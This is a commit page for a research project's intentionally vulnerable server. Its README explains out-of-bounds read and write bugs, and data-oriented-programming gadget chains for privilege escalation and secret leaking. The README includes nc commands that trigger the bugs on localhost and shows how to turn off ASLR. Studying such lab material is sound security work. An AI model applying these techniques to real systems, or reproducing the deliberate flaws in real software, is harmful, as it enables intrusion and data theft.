Skip to content

Commit d32ba0a

Browse files
committed
Initial min-dop code.
0 parents  commit d32ba0a

File tree

7 files changed

+1208
-0
lines changed

7 files changed

+1208
-0
lines changed

Makefile

+15
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
# NOTE: Only works w/ clang 9.0 atm. Need to make sure globals are in defined order.
2+
CFLAGS = -std=c99 -fno-zero-initialized-in-bss -fno-stack-protector -g3 -gdwarf-2 -O0 -m32
3+
4+
ifdef CODE_COVERAGE
5+
CFLAGS += -fprofile-arcs -ftest-coverage -DCODE_COVERAGE
6+
endif
7+
8+
.PHONY: all clean
9+
10+
all: vuln_srv
11+
12+
vuln_srv: vuln_srv.c
13+
14+
clean:
15+
rm -rf *.o *.gcda *.gcno *.gcov vuln_srv

README.md

+173
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,173 @@
1+
Minimal Data-Oriented Programming Vulnerable Server + Exploits
2+
-------------------------------------------------------------
3+
4+
## Description
5+
This example code is to demonstrate a vulnerable server program with:
6+
* Memory WRITE safety violation vulnerability
7+
* Memory READ safety violation vulnerability
8+
* Turing-complete DOP gadgets
9+
10+
## Prerequisites
11+
12+
* Python 3+
13+
* pip
14+
* GDB with Python support
15+
16+
#### Python Dependencies
17+
```
18+
pip install docopt
19+
```
20+
21+
## Build
22+
23+
To disable/enable ASLR:
24+
```
25+
# disable
26+
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
27+
28+
# enable
29+
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
30+
```
31+
32+
To build the `vuln_srv`:
33+
```
34+
$ make
35+
```
36+
37+
To build with code coverage metrics run:
38+
```
39+
make -DCODE_COVERAGE=1
40+
```
41+
42+
## Run
43+
44+
### vuln_srv
45+
```
46+
$ ./vuln_srv 1111
47+
```
48+
49+
The server takes commands in the following format:
50+
```
51+
[TYPE][SIZE]
52+
uint32_t TYPE
53+
uint32_t SIZE
54+
```
55+
For details on the supported values for `TYPE` refer to `vuln_srv.c`.
56+
57+
### vuln_srv_runner.py
58+
59+
```
60+
$ python runner.py --help
61+
```
62+
63+
### exploit_runner.py
64+
65+
### Code Coverage
66+
67+
To process code coverage analysis two tools are used:
68+
* `gcov` (included with `GCC`)
69+
* `gcovr` http://gcovr.com/
70+
71+
To generate an HTML report for example consider the following command:
72+
```
73+
gcovr -r . --html --html-details -o coverage.html
74+
```
75+
76+
## Vulnerabilities
77+
78+
### Out-of-bounds Read Vulnerability
79+
```
80+
//
81+
// This function wrongly uses the signed version of `type` and has an integer
82+
// underflow vulnerability.
83+
// Vulnerable to an out-of-bounds read memory safety bug.
84+
//
85+
int checkForInvalidTypes(int type, int clientfd) {
86+
{
87+
...
88+
if (type <= 2) {
89+
err_no = LUT_ERROR_CODES[type];
90+
...
91+
}
92+
```
93+
94+
#### Arbitrary memory read
95+
To exploit the memory read vulnerability, we supply a negative value to the
96+
`TYPE` option. Notice that the content of the memory address (controllable
97+
offset from `LUT_ERROR_CODES`) is returned as the error code.
98+
99+
We will try offset `-1`. This will give us the memory content of global variable `TYPE_MAX`.
100+
```
101+
$ echo 'ffffffff00000000' | xxd -r -p | nc -v 127.0.0.1 1111
102+
```
103+
104+
This is a powerful primitive, since we can now reveal the secret at `SECRET` at
105+
offset `-9`. That's not all. If ASLR is enabled, we will need to know the base
106+
of the program to figure out addresses using offset. We can reveal the base
107+
address of the program by reveal the global variable `g_srv.p_g_a` which points
108+
to `&g_a`.
109+
110+
### Out-of-bounds Write Vulnerability
111+
```
112+
//
113+
// This function assumes that input buffer (`buf`) is RECV_MAX_LEN long.
114+
// Vulnerable to an out-of-bounds write memory safety bug.
115+
//
116+
int readInData(int clientfd, char *buf)
117+
{
118+
...
119+
recv_len = recv(clientfd, buffer, RECV_MAX_LEN, 0);
120+
...
121+
memcpy(buf, buffer, recv_len);
122+
...
123+
}
124+
```
125+
126+
#### Arbitrary memory write
127+
We can exploit the memory write vulnerability by supplying a request of length longer than 8 bytes. This allows us to control all the local stack variables `p_srv`, `p_size`, `p_type` and `connect_limit`.
128+
129+
On the client, we will send the exploit request as follows:
130+
```
131+
$ echo --------AAAABBBBCCCCDDDD | nc -v 127.0.0.1 1111
132+
```
133+
134+
On the server, this will crash the program because the memory addresses we supplied in the exploit request cannot be dereferenced. Notice that the value of all the stack variables have been overwritten by our values.
135+
136+
## Exploits
137+
138+
### Privilege escalation
139+
We use the above arbitrary memory read and write vulnerability together to perform an illegal privilege escalation.
140+
141+
We stitch the DOP gadgets to perform the following DOP "implicit" program.
142+
```
143+
int *base = &g_a
144+
((g_struct_t *)(base - offset_v_2))->v_2 = *(&buf[4])
145+
```
146+
147+
### Secret Leak / Exfiltrate
148+
We stitch the DOP gadgets to perform the following DOP "implicit" program.
149+
```
150+
int *base = &g_a
151+
*(&g_a) = **((g_struct_t *)(base + rel_addr_SECRET - offset_pp_b)->pp_b)
152+
print(g_a)
153+
```
154+
155+
### Gadget Chains
156+
It is likely that many real-world scenarios require a significant amount of DOP
157+
gadgets to perform useful work. There are two options we implement to simulate
158+
the increased memory footprint of real-world attacks.
159+
160+
##### Links
161+
This option performs a load, increment, store loop as shown in the following:
162+
```
163+
*(&g_scratch_buf[i]) = **(g_pp_g_a);
164+
*(&g_scratch_buf[i]) += 1;
165+
**(g_pp_g_a) = *(&g_scratch_buf[i]);
166+
```
167+
This creates essentially creates links between memory addresses and instructions that would not appear under normal execution.
168+
169+
##### Ops
170+
This option performs an increment on a single memory address as follows:
171+
```
172+
*(&g_a) += 1
173+
```

0 commit comments

Comments
 (0)